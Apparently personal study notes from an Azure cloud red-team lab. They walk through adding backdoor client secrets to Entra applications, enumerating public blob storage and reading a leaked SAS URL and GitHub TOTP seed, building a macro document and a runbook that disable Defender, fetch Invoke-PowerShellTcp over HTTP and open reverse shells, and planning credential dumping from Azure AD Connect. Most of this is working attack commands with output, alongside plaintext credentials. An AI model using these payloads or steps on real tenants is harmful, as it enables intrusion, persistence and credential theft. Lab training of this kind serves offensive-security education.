                  $psobj = New-Object PSObject
      
                  $Params = @{
                   "URI"     = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword"
                   "Method"  = "POST"
                   "Headers" = @{
                   "Content-Type"  = "application/json"
                   "Authorization" = "Bearer $GraphToken"
                   }
                  }
      
                  $Body = @{
                    "passwordCredential"= @{
                      "displayName" = "Password"
                    }
                  }
       
                  try
                  {
                      $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)
                      Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID
                      Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId
                      Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName
                      Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId
                      Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText
                      $Details.Add($psobj) | Out-Null
                  }
                  catch
                  {
                      Write-Output "Failed to add new client secret to '$($App.displayName)' Application." 
                  }
              }
              if($Details -ne $null)
              {
                  Write-Output ""
                  Write-Output "Client secret added to : " 
                  Write-Output $Details | fl *
              }
          }
          else
          {
             Write-Output "Failed to Enumerate the Applications."
          }
      }
      
      
      

    Import-Module .\Add-AzADAppSecret.ps1

    Add-AzADAppSecret -GraphToken $Graph_Token -Verbose

    Client secret added to :
    
    Object ID : 35589758-714e-43a9-be9e-94d22fdd34f6
    App ID    : f072c4a6-b440-40de-983f-a7f3bd317d8f
    App Name  : fileapp
    Key ID    : 400b3c69-d4f2-4a80-a4e6-c6bc0075cabe
    Secret    : qJO8Q~1mvDR2pHBooy4Es3aiZQr3oXeTEzNPYbWQ

    Although we triggered authorization errors on unrelated applications like P2P Server, the script successfully executed against the fileapp Service Principal, which confirms our identity holds the high-privilege Application Administrator role over that specific object.
    We have now effectively captured the App ID and the new Client Secret for fileapp, giving us a permanent backdoor to log in as that service principal and likely access the Key Vaults it controls.
    So, the managed identity of the virusscanner app has permissions to add secrets to the enterprise application fileapp!

  • Initial Access - Storage Account - Anonymous Access Abuse

    We must first understand the architectural hierarchy of Azure Storage to effectively exploit or secure it. Azure Blob Storage serves as Microsoft's object storage solution for the cloud, optimized for storing massive amounts of unstructured data. The architecture is structured in three specific layers. The top layer is the Storage Account, which provides a unique namespace in Azure that forms the endpoint URL (e.g., https://defcorp.blob.core.windows.net). Beneath the account lies the Container, which acts as a directory or folder organization mechanism. Finally, inside the containers are the Blobs themselves, which are the actual files (documents, images, VHDs, logs). We interact with these resources via REST APIs, meaning every file has a direct URL addressable over the internet, and security is determined by who has the permission to call that URL.

    Storage Account Authorization Methods

    Secure access to storage accounts is typically governed by three primary authorization methods, and understanding them highlights why anonymous access is such a severe deviation.
    The primary and recommended method is Microsoft Entra ID (formerly Azure AD), where specific Role-Based Access Control (RBAC) permissions (like "Storage Blob Data Reader") are assigned to user identities or Managed Identities. This method provides the highest security because it is granular and logs exactly who accessed the data.

    The legacy method uses Shared Access Keys (Account Keys). Each storage account has two master keys that grant total "Super User" control over all data in that account. These keys bypass the identity plane entirely, meaning whoever possesses the string possesses the data without an audit trail.
    The third method is the Shared Access Signature (SAS). This is a URI that wraps a grant of permission around a specific resource. It acts as a delegated token derived from a key or an Entra ID identity, giving the holder limited access (e.g., Read Only) for a specific window of time (e.g., valid for only 1 hour).

    Anonymous Access Vulnerability and Access Levels

    The vulnerability we are exploiting arises when administrators misconfigure the "Allow Blob Public Access" setting on the storage account.
    This feature effectively turns the storage container into a public web server, bypassing all the authorization methods (Entra ID, Keys, and SAS) we just discussed.

    There are three distinct settings for public access that dictate the severity of the vulnerability.
    The default and secure setting is Private (No public access), where only authenticated clients can touch the data.
    The intermediate level is Blob Access, which allows unauthenticated users to read a file only if they already know its full URL. However, this level blocks the ability to "list" or enumerate what files exist, providing security through obscurity.

    The critical vulnerability exists at the Container Access level. This configuration allows unauthenticated anonymous users not only to read files but also to enumerate the entire content of the
    container. This effectively mimics an open directory listing, allowing us to ask Azure "Show me everything inside this folder" and download the entire dataset without credentials.

    Discovery and Data Extraction

    Our attack chain relies on the fact that Azure Storage Account names are globally unique DNS records. Even if a storage account is private, its DNS name (e.g., companyxyz.blob.core.windows.net) resolves publicly. We utilize this architectural feature to perform discovery.

    The attack begins with Account Enumeration. We use tools like MicroBurst to perform permutation scanning, where we take a keyword (like the company name "defcorp") and combine it with common suffixes (like "defcorpbackup", "defcorplogs", "defcorpdev"). We query these generated names against Azure's DNS. If the DNS resolves, we know a Storage Account exists at that address.

    Once a valid account is identified, we pivot to Container Enumeration. We brute-force common container names (e.g., "scripts", "backup", "sensitive", "images").

    Import-Module .\Invoke-EnumerateAzureBlobs.ps1

    Invoke-EnumerateAzureBlobs -Base 'defcorp' -ErrorAction 'SilentlyContinue'

    As we can see on the screenshot above, we were able to find 2 services, defcorpcodebackup.blob.core.windows.net & defcorpcommon.blob.core.windows.net. But we can also see that it found the same enumeration also found the container for defcorpcommon.blob.core.windows.net in the following URL: https://defcorpcommon.blob.core.windows.net/backup?restype=container&comp=list

    The final phase is Data Extraction. With the list of filenames obtained from the container listing, we can directly construct the URLs to download sensitive data. In initial access scenarios, we are typically looking for configuration files, backup databases (.bak), or Terraform state files that often contain hardcoded credentials (connection strings or service principal secrets) which allow us to pivot back into the Identity Plane or Infrastructure Plane. Now we should open this link using browser.
    Because the container level access allows for enumeration, when we hit a valid container name configured with "Container" level public access, the Azure API will respond with an XML list of all blobs inside.

    Once we can access the Blob, we can simply use the same blob URI but make a small change to it, by removing ?restype=container&comp=list and adding blob_client.py on it.

    URL: https://defcorpcodebackup.blob.core.windows.net/client?sp=rl&st=2024-09-26T09:48:55Z&se=2025-12-31T18:48:55Z&spr=https&sv=2022-11-02&sr=c&sig=cdfpDLkAqQaw4BznlARLvOAkHhkMkx9fpYmChFKOzfQ%3D

    If you get a blank page when accessing the above URL, press Ctrl+F5 in the browser!

    We got a Shared Access Signature URI Now let’s use this with the Storage Explorer on our own attacking machine. From inside our attacking machine, we can call Connect To Azure Application, and login using the Shared Access Signature. Under Attache To A ResourceBlob Container or DirectoryShared Access Signature fulfill the Display Name and add the URL we found in Blob Container SAS.

    Once we have doe our configuration and connected, we will see that now we can access some files like app.zip and authenticator.txt as well.
    Let’s Right Click to app.zip, Download It and Extract it as well.

    As we can see, we have some Dockerfile and .py files, these are secrets that we will be using later.
    We should do the same for the authenticator.txt file as well, Download it and open it, and we will find out that we have just found a sort of backup for Github OTP (One Time Password) for lauranazad. This will also be used later.

    otpauth://totp/GitHub:laurenazad?secret=ANCGA6PESZYBOX7R&issuer=GitHub

    Important Considerations regarding S3 vs. Azure Blob

    It is important to discuss a key architectural difference between Azure Blob and AWS S3 Buckets. In AWS S3, misconfigured buckets are often easier to scan because the bucket name is the global namespace. In Azure, there is an extra layer: the Account. An attacker cannot just guess the container name; they must first guess the valid Storage Account Name and then guess the Container Name. This "double-blind" structure means that successful enumeration relies heavily on the quality of the dictionary wordlists used by tools like MicroBurst. Security through obscurity plays a slightly larger role in Azure than AWS, but once the correct permutation is found on a Container-level public account, the compromise is absolute.

  • Lateral Movement - Cloud to On-Premises - (Hybrid Worker Abuse)

    This is one of the most critical phases in a cloud red team engagement. We are effectively breaking the "air gap" between the internet-facing cloud tenant and the highly restricted internal corporate network.
    We achieve this not by exploiting a software bug, but by abusing a legitimate administrative channel that enterprises use to manage their servers.

    We should start this lab with access to Admin-Consent EndPoint from Mark’s phishing campaign that led to reverse shell.
    We are basically just replicating what we did on lab Initial Access - Illicit Consent Grant (OAuth Abuse). We will abuse the fact that Mark’s OneDrive is synced to his computer, which give us the possibility to upload the malicious file and once the OneDrive sync locally and download the file to his computer and he tries to open the malicious .doc file a reverse shell connection is initiated from Mark’s endpoint to our attacking machine listening on port 4444. Make sure that you follow the quick step-by-step below.

    $passwd = ConvertTo-SecureString "ForCreatingWordDocs@123" -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential("office-vm\administrator", $passwd)
    $officeVM = New-PSSession -ComputerName 172.16.1.250 -Credential $creds
    
    Enter-PSSession -Session $officeVM
    Set-MpPreference -DisableRealtimeMonitoring $true
    iex (New-Object Net.Webclient).downloadstring("http://172.16.150.59:82/Out-Word.ps1")
    Out-Word -Payload "powershell iex (New-Object Net.Webclient).downloadstring('http://172.16.150.59:82/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress 172.16.150.59 -Port 4444" -OutputFile student59.doc
    exit
    
    Copy-Item -FromSession $officeVM -Path C:\Users\Administrator\Documents\student59.doc -Destination C:\AzAD\Tools\student59.doc
    
    I Uploaded the student59.doc to Mark's OneDrive via 365-Stealer GUI
    Second option to upload student59.doc file was via below commnand:
    python C:\xampp\htdocs\365-Stealer\365-Stealer.py --refresh-user 'MarkDWalden@defcorphq.onmicrosoft.com' --upload 'C:\AzAD\Tools\student59.doc'

    Discovery of Privileged Entra ID Group Ownership

    Once we possess Mark’s valid authentication token, we switch to reconnaissance within the Directory. We perform a specific query to identify "Owned Objects." In Azure, permissions are rarely assigned directly to a user; they are assigned to Groups. A critical, often overlooked misconfiguration is Group Ownership. Let’s check if there is a user logged-in to Az CLI
    az ad signed-in-user show

    Well, we can see on the screenshot above that Mark is the one logged in using the Az CLI, which should be more than normal, since we got Reverse Shell for his machine.

    Let try to find another user or group that has interesting permissions on an automation account. We could use az automation account list to get information on automation accounts.
    We perform a specific query to identify "Owned Objects." In Azure, permissions are rarely assigned directly to a user; they are assigned to Groups. A critical, often overlooked misconfiguration is Group Ownership.

    Please note that it needs automation extension.

    az extension add --upgrade -n automation

    az ad signed-in-user list-owned-objects

    We identify that Mark Walden is listed as the Owner of a specific Entra ID Security Group (likely named "Automation Admins" or similar). This is an indirect privilege escalation vector. Being an owner does not mean we are a member of the group by default, but it gives us the right to modify the membership.

    We utilize PowerShell combined with direct Microsoft Graph API calls to definitively check this membership.

    Since we established in the previous lab that standard Azure cmdlets (like Get-AzADGroupMember) might fail due to the empty subscription context or "Unknown" identity issues with our stolen token, we rely on the raw REST API for accuracy. We can perform this check in a single step using the Group Object ID we found (e6870783-1378-4078-b242-84c08c6dc0d7) and the members endpoint.

    # 1. Set the Group ID we found
    $GroupID = "e6870783-1378-4078-b242-84c08c6dc0d7"
    
    # 2. Query the /members endpoint
    $URI = "https://graph.microsoft.com/v1.0/groups/$GroupID/members"
    $RequestParams = @{
        Method  = 'GET'
        Uri     = $URI
        Headers = @{
            'Authorization' = "Bearer $Graph_Token" 
        }
    }
    
    # 3. Execute and check if Mark is in the list
    $Members = (Invoke-RestMethod @RequestParams).value
    $Members | Select-Object displayName, userPrincipalName, id

    He is already a member, and we can skip the "Add Member" step and proceed directly to enumerating the Automation Account permissions.

    In case Mark was not part of this group, we can simply run the following steps below.

    We exploit this by using our token to call the Microsoft Graph API and add our own compromised user account (Mark) into this group. Effectively, we have self-elevated our privileges to possess whatever rights that group holds.
    This Graph Token request has to be done inside Defeng-Consent endpoint where we have the reverse shell.

    az account get-access-token --resource-type ms-graph

    Before we can add Mark to the group, we must first determine his User Object ID because the Microsoft Graph API operates exclusively on global unique identifiers (GUIDs) rather than human-readable names. The system cannot interpret a request to "add the current user" or "add Mark Walden" because those are ambiguous terms, instead, it requires the precise hexadecimal string that serves as the immutable primary key for his identity in the directory database.
    We accomplish this by querying the /me endpoint using our stolen token, which forces Entra ID to reveal the metadata for the authenticated user, effectively verifying exactly who we are executing the attack as and providing us with the necessary ID f66e133c... .

    From our attacking machine, we can use the token we just requested on from our reverse shell.

    $Graph_token = "eyJ0eXAiOiJKV1QiLCJub25jZSI6Ik…"

    $URI = "https://graph.microsoft.com/v1.0/me"
    $MyProfile = (Invoke-RestMethod -Uri $URI -Headers @{'Authorization'="Bearer $Graph_Token"} -Method Get)

    Write-Host "My User Object ID is: $($MyProfile.id)"

    My User Object ID is: f66e133c-bd01-4b0b-b3b7-7cd949fd45f3

    Once we possess this specific User Object ID, we proceed to execute the membership addition using the Microsoft Graph PowerShell SDK. We begin by establishing an authenticated session with the command Connect-MgGraph where we pass our stolen token converted into a secure string, which allows our local attacker machine to masquerade as Mark's trusted workstation.

    We then construct a specific variable called $params containing the key @odata.id because the command New-MgGroupMemberByRef operates as a "Reference" update. This means we are not creating a new user, but rather telling the Graph API to locate the existing user object at the full URL address https://graph.microsoft.com/v1.0/directoryObjects/f66e... and create a pointer link from it to the group.
    When we finally run the command with the Group ID (e687...) targeting the "Automation Admins" container, the system validates that we have ownership rights over that group and accepts the reference update.

    Now we will be using the just requested MS Graph API token from our attacking machine to Add Mark as member of this group owned by Mark.
    $Graph_token = "eyJ0eXAiOiJKV1QiLCJub25jZSI6Ik…"

    Connect-MgGraph -AccessToken ($Graph_Token | ConvertTo-SecureString -AsPlainText -Force)

    $params = @{ "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/f66e133c-bd01-4b0b-b3b7-7cd949fd45f3"}
    New-MgGroupMemberByRef -GroupId e6870783-1378-4078-b242-84c08c6dc0d7 -BodyParameter $params

    This effectively "stamps" Mark's user object into the membership list, instantaneously elevating our access from a simple Owner to an active Member who inherits all the Automation Account privileges.
    Since Mark is already part of this Automation Adnins Group We might get the error below.

    Let’s move on…

    On Defeng-Consent endpoint where we do have the reverse shell, let now use Az CLI to check automation Accounts

    az automation account list

    The output provided by the az automation account list command serves as the definitive proof that our privilege escalation was successful, confirming that the "Automation Admins" group we joined possesses valid RBAC permissions over the Azure subscription. Before adding Mark to that group, this command would have likely returned an empty list or an error, but now we have full visibility into the management resources, proving we have effectively pivoted from the identity plane (Graph) back to the infrastructure plane (Azure Resource Manager).

    The most critical piece of intelligence here is the specific name of the account, "HybridAutomation", which confirms our attack path theory.
    In Azure architecture, a resource named "Hybrid" almost certainly indicates the presence of Hybrid Runbook Workers, meaning this automation account is not just running scripts in the Microsoft cloud, but is connected to on-premises servers behind a corporate firewall.
    Additionally, the output gives us the essential targeting coordinates, specifically the Resource Group (Engineering) and the Subscription ID (b413...) which are mandatory parameters we will need in the next step to create and deploy our malicious PowerShell Runbook to the correct location.

    Now, we should be able to list roles assigned to Mark on the reverse shell.

    az account get-access-token

    az account get-access-token --resource-type aad-graph

    az account get-access-token --resource-type ms-graph

    Now, On our attacking machine, we create the token variables and we effectively perform a Token Re-use technique to clone Mark Walden’s active session into our PowerShell environment on our attacking machine.

    $ARM_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJ..”

    $Grapth_Token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dC.."

    $Ms_Grapth = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dC232455343.."

    Connect-AzAccount -AccessToken $ARM_Token -GraphAccessToken $Graph_Token -MicrosoftGraphAccessToken $Ms_Graph -AccountId "f66e133c-bd01-4b0b-b3b7-7cd949fd45f3"

    By running az account get-access-token twice, we extracted his valid digital "ID cards"one for controlling Azure Resources (Infrastructure) and one for controlling Microsoft Graph (Identity/Directory).
    We then passed these raw tokens into Connect-AzAccount to verify our session. This allows us to run administrative commands as Mark without ever needing to know his password or trigger an MFA prompt, effectively piggybacking on his existing trust level.

    We must also run the below command to get the role for Mark (added to the Automation Accounts group) on the automation account. Bare in mind that we need to add the full path which was found when we enumerated the automation account list.

    Get-AzRoleAssignment -Scope "/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation"

    • Full List
      RoleAssignmentName : c981e312-78da-4698-9702-e7424fae94f8
      RoleAssignmentId   : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation/providers/Microsoft.Authorization/roleAssignments/c981e312-78
                           da-4698-9702-e7424fae94f8
      Scope              : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Automation/automationAccounts/HybridAutomation
      DisplayName        :
      SignInName         :
      RoleDefinitionName : Contributor
      RoleDefinitionId   : b24988ac-6180-42a0-ab88-20f7382dd24c
      ObjectId           : e6870783-1378-4078-b242-84c08c6dc0d7
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 790ab820-a28a-48e4-9759-792357d717e1
      RoleAssignmentId   : /providers/Microsoft.Authorization/roleAssignments/790ab820-a28a-48e4-9759-792357d717e1
      Scope              : /
      DisplayName        :
      SignInName         :
      RoleDefinitionName : User Access Administrator
      RoleDefinitionId   : 18d7d88d-d35e-4fb5-a5c3-7773c20a72d9
      ObjectId           : 1c077632-0e5b-40b3-a38c-516e4ab38d69
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : ac1253a2-9433-4a1c-8f06-a0fcdb5f8ccf
      RoleAssignmentId   : /providers/Microsoft.Authorization/roleAssignments/ac1253a2-9433-4a1c-8f06-a0fcdb5f8ccf
      Scope              : /
      DisplayName        :
      SignInName         :
      RoleDefinitionName : User Access Administrator
      RoleDefinitionId   : 18d7d88d-d35e-4fb5-a5c3-7773c20a72d9
      ObjectId           : 4d67b155-3494-46d0-a4cf-de359d8a9d68
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 66a4cbba-ab82-48a2-8646-b265e4a8a81f
      RoleAssignmentId   : /providers/Microsoft.Authorization/roleAssignments/66a4cbba-ab82-48a2-8646-b265e4a8a81f
      Scope              : /
      DisplayName        :
      SignInName         :
      RoleDefinitionName : User Access Administrator
      RoleDefinitionId   : 18d7d88d-d35e-4fb5-a5c3-7773c20a72d9
      ObjectId           : 346a4f4e-dc32-48d4-b611-464379c0a7ed
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 6621aae2-3b5a-4c13-8f5d-5a86793c546c
      RoleAssignmentId   : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/providers/Microsoft.Authorization/roleAssignments/6621aae2-3b5a-4c13-8f5d-5a86793c546c
      Scope              : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768
      DisplayName        :
      SignInName         :
      RoleDefinitionName : Contributor
      RoleDefinitionId   : b24988ac-6180-42a0-ab88-20f7382dd24c
      ObjectId           : 4d67b155-3494-46d0-a4cf-de359d8a9d68
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 944407e4-0e5c-45fa-9a08-3a8e2a3cc2f8
      RoleAssignmentId   : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/providers/Microsoft.Authorization/roleAssignments/944407e4-0e5c-45fa-9a08-3a8e2a3cc2f8
      Scope              : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768
      DisplayName        :
      SignInName         :
      RoleDefinitionName : Owner
      RoleDefinitionId   : 8e3af657-a8ff-443c-a75c-2fe8c4bcb635
      ObjectId           : 4d67b155-3494-46d0-a4cf-de359d8a9d68
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 154d9d59-15ab-44d8-a212-c65b3377cf33
      RoleAssignmentId   : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/providers/Microsoft.Authorization/roleAssignments/154d9d59-15ab-44d8-a212-c65b3377cf33
      Scope              : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768
      DisplayName        :
      SignInName         :
      RoleDefinitionName : Key Vault Administrator
      RoleDefinitionId   : 00482a5a-887f-4fb3-b363-3b7fe8e74483
      ObjectId           : 4d67b155-3494-46d0-a4cf-de359d8a9d68
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 0f6b0d6f-4cdf-46a3-87bd-490df9d20330
      RoleAssignmentId   : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Authorization/roleAssignments/0f6b0d6f-4cdf-46a3-87bd-490df9d20330
      Scope              : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering
      DisplayName        :
      SignInName         :
      RoleDefinitionName : Reader
      RoleDefinitionId   : acdd72a7-3385-48ef-bd42-f606fba81ae7
      ObjectId           : 6952723d-91a8-4624-95a8-5409fd49c7fd
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 55820e0c-d8b9-4e32-ad14-82f36c254b96
      RoleAssignmentId   : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/providers/Microsoft.Authorization/roleAssignments/55820e0c-d8b9-4e32-ad14-82f36c254b96
      Scope              : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768
      DisplayName        :
      SignInName         :
      RoleDefinitionName : Owner
      RoleDefinitionId   : 8e3af657-a8ff-443c-a75c-2fe8c4bcb635
      ObjectId           : 1c077632-0e5b-40b3-a38c-516e4ab38d69
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :
      
      RoleAssignmentName : 2435b81e-531a-41a9-9640-c714f6412e4d
      RoleAssignmentId   : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/providers/Microsoft.Authorization/roleAssignments/2435b81e-531a-41a9-9640-c714f6412e4d
      Scope              : /subscriptions/b413826f-108d-4049-8c11-d52d5d388768
      DisplayName        :
      SignInName         :
      RoleDefinitionName : Owner
      RoleDefinitionId   : 8e3af657-a8ff-443c-a75c-2fe8c4bcb635
      ObjectId           : 346a4f4e-dc32-48d4-b611-464379c0a7ed
      ObjectType         : Unknown
      CanDelegate        : False
      Description        :
      ConditionVersion   :
      Condition          :

    We discovered that the "Automation Admins" group has the Contributor role over the Automation Account, which effectively grants us the ability to write and execute Runbooks.

    Runbooks are essentially automated scripts, typically written in PowerShell or Python that IT administrators use to handle routine operational tasks like server patching, log collection, or configuration updates. In a standard environment, they function as the centralized "brain" that sends instructions to various servers to keep the infrastructure running smoothly without manual intervention.

    From our red team perspective, Runbooks represent one of the most powerful lateral movement mechanisms available in the Microsoft cloud. Because they are designed to perform administrative maintenance, they invariably execute with highly elevated privileges (often as SYSTEM or a Service Administrator) on the target machine. The true strategic value lies in the Hybrid Runbook Worker feature.
    If an on-premises server is registered as a worker, we can upload a malicious script to the cloud Automation Account and queue it for execution. The on-premises server will actively reach out to the cloud, pull down our malicious code, and execute it internally. This allows us to bypass almost all inbound firewall rules and effectively turns the company's own management infrastructure into a trusted command-and-control channel for our initial foothold on the internal network.

    Now. this next check, will check if a hybrid worker group is in use by the automation account.
    We execute this specific enumeration step because finding an Automation Account is useless for lateral movement unless we can confirm there is a physical "agent" on the other side listening to it. We need to identify if there is a Hybrid Runbook Worker online that acts as the bridge between the internet-facing cloud and the restricted internal corporate network. Without this confirmation, uploading a malicious script would just leave it sitting in the cloud queue with nowhere to go.

    Get-AzAutomationHybridWorkerGroup -AutomationAccountName 'HybridAutomation' -ResourceGroupName 'Engineering'

    • Name: Workergroup1: This is the single most important piece of data in this output. It is the specific routing address for our attack. When we launch our malicious Runbook later, we cannot target an IP address or a server name directly, Azure requires us to target a "Worker Group Name." This output confirms that valid destination exists.
    • GroupType: User: This confirms that this group is configured for User Hybrid Workers. This is crucial for us because "System" groups are restricted to Update Management tasks only, whereas "User" groups allow us to run arbitrary PowerShell scripts (our custom malware). If this said "System," our attack would fail.
    • Id: This is the full Azure Resource Manager path, proving this object lives inside the Engineering resource group.

    We perform this next specific enumeration step because the previous command only identified the "logical container" (the Group) but gave us no visibility into the physical infrastructure supporting it. Simply knowing that Workergroup1 exists is insufficient for a red team engagement because we cannot be certain if the server behind it is online, decommissioned, or disconnected. By querying the specific members of the group, we successfully bridged the gap between the configuration metadata and the actual operational status of the target servers.

    Get-AzAutomationHybridRunbookWorker -AutomationAccountName 'HybridAutomation' -ResourceGroupName 'Engineering' -HybridRunbookWorkerGroupName 'Workergroup1' | Format-List

    The importance of this output lies in the validation of our attack vector. We can clearly see two entries for defeng-adcsrv which gives us crucial targeting intelligence. One entry lists the server as a "HybridV1" worker with an IP of 172.16.1.20, but if we look closer at the LastSeenDateTime, it hasn't checked in since last month, meaning that specific connection is likely dead. However, the other entry shows the server as a "HybridV2" worker that checked in today (December 18, 2025). This confirms not only that the high-value target defeng-adcsrv (Active Directory Certificate Server) is currently live and waiting for commands, but it also reveals its internal private IP address, proving it resides on the corporate network and not in the public cloud.
    This will allow us to execute commands/scripts on the on-prem infrastructure!

    Creating the Fileless Payload

    We began by constructing a specialized PowerShell script designed to bypass local security controls like Antivirus and AMSI (Antimalware Scan Interface). Instead of copying a malicious file to the target's hard drive, we used the IEX (New-Object Net.WebClient).DownloadString method. This technique allows us to host the actual attack code (the Invoke-PowerShellTcp.ps1 script) on our own attacking machine. When the victim server runs this runbook, it downloads the code directly into its RAM (memory) and executes it immediately without the file ever touching the physical disk. We specifically configured this payload to call back to our listener on port 8080, effectively establishing a reverse connection.

    powershell "IEX (New-Object Net.Webclient).downloadstring('http://172.16.150.59:53/Invoke-PowerShellTcp.ps1');Power -Reverse -IPAddress 172.16.150.59 -Port 8080"

    Staging the Malware (Import and Publish)

    We then move to upload this payload into the Azure environment using the Import-AzAutomationRunbook command. This step takes our local .ps1 file and uploads it into the "HybridAutomation" account we compromised earlier. However, simply importing the script puts it in a "Draft" state, which means it cannot be executed yet.

    Import-AzAutomationRunbook -Name student59 -Path C:\AzAD\Tools\studentx.ps1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Type PowerShell -Force -Verbose

    We followed up immediately with the Publish-AzAutomationRunbook command, which promotes the script from a draft to a live, executable production version. We effectively legitimized our malware by turning it into an official administrative "Runbook" inside the company's Azure tenant.

    Publish-AzAutomationRunbook -RunbookName student59 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose

    The Execution Trigger (Lateral Movement)

    The most critical step in this entire sequence was running the Start-AzAutomationRunbook command with the specific parameter -RunOn Workergroup1. If we had omitted this parameter, the script would have run innocuously inside a temporary Azure container in the cloud. By explicitly defining the RunOn target as the Hybrid Worker Group we enumerated earlier, we forced the Azure control plane to queue this job for the on-premises agent.

    Start-AzAutomationRunbook -RunbookName student59 -RunOn Workergroup1 -AutomationAccountName HybridAutomation -ResourceGroupName Engineering -Verbose

    This caused the internal DEFENG-ADCSRV server to reach out through the corporate firewall, pull down our malicious job, and execute it as a trusted system maintenance task.

    The final screenshot confirms the total success of our lateral movement. We received a connection on our Netcat listener from the internal IP 172.16.1.20. When we ran whoami, the system responded with nt authority\system, which is the highest possible privilege level on a Windows machine, higher even than a standard Administrator. We verified the hostname as DEFENG-ADCSRV, confirming that we have traversed from an internet-based identity attack (Mark's token) all the way to gaining "God-mode" control over a critical internal infrastructure server inside the secure data center.

  • Lateral Movement - Managed Identity Abuse - RunCommand Exploit

    The concept of Managed Identity Privilege Abuse relies on the understanding that in Azure, permissions are rarely granted to users directly but rather to the non-human identities associated with resources like Web Apps. Mastering this requires you to view every compromised application container not just as a web server, but as a potential holder of privileged access keys. When you exploit the initial App Service (likely via the Command Injection or File Upload from earlier labs), the extraction of the Access Token allows you to masquerade as that application. The critical failure in this architectural setup is the principle of Over-Privileging. The administrators assigned the Virtual Machine Command Executor (or Contributor) role to the Web App's identity, likely for some automated maintenance script. You are abusing this trust relationship to transform a low-impact web breach into a high-impact infrastructure compromise, effectively moving "sideways" from a restricted web container to a full Virtual Machine operating system without ever needing a password.

    Excessive APIification - Identity as the New Perimeter

    The second major concept you must internalize is that Network Security Groups (NSGs) and Firewalls are irrelevant when you control the Control Plane identity. Traditional attackers look for open ports like SSH (22) or RDP (3389). In the "APIified" cloud, the perimeter is not a firewall but an Identity verification prompt. The Invoke-AzVMRunCommand (or Run Command) feature is an Azure Resource Manager API call that sends instructions directly to the VM Agent installed inside the guest operating system. Because this communication happens over the internal Azure fabric (the backbone network between the Azure API servers and the VM), it completely bypasses any inbound network rules. You could theoretically target a VM that has zero open ports to the internet, as long as you hold the valid token with the correct RBAC role, the Azure fabric will tunnel your malicious script directly into the VM's kernel, executing it as the System or Root user. This fundamental shift means that protecting credentials is far more important in the cloud than protecting network ports.

    Command Execution for Post-Exploitation Credential Dumping

    The ultimate objective of gaining code execution on the bkpadconnect VM is not simply to control a server, but to harvest the specialized credentials stored within it. Servers named "Connect" or "Sync" typically host Azure AD Connect, the bridge that synchronizes passwords and users between the on-premises Active Directory and the Azure Cloud. Once you execute your PowerShell script via Run Command to add a local administrator or gain a reverse shell, you shift into a post-exploitation phase.
    You will actively search the filesystem, registry, and specifically the Azure AD Connect database (LocalDB) to extract the MSOL (Microsoft Online) account credentials or the Directory Sync Service Account. Gaining these specific credentials is a "Game Over" event because the Sync Account holds high-level Write privileges to the directory, effectively allowing an attacker to modify cloud users or sync their own malicious admin account into the environment, cementing total control over the tenant.

    Understanding the Importance of 'bkpadconnect'

    The choice of bkpadconnect as the target is deliberate. In complex hybrid environments, Identity Servers are the "Crown Jewels." Mastering this lab involves understanding that we do not attack this VM to host malware; we attack it because it holds the keys to the hybrid identity integration. You must verify if this VM acts as a Staging Server or a standby instance for the main synchronization engine, as these backup servers often have weaker monitoring but contain the exact same highly privileged database credentials as the primary production server. Extracting the service account from the local SQL instance on this machine provides a valid credential that can be used from anywhere on the internet to manipulate the directory synchronization process.

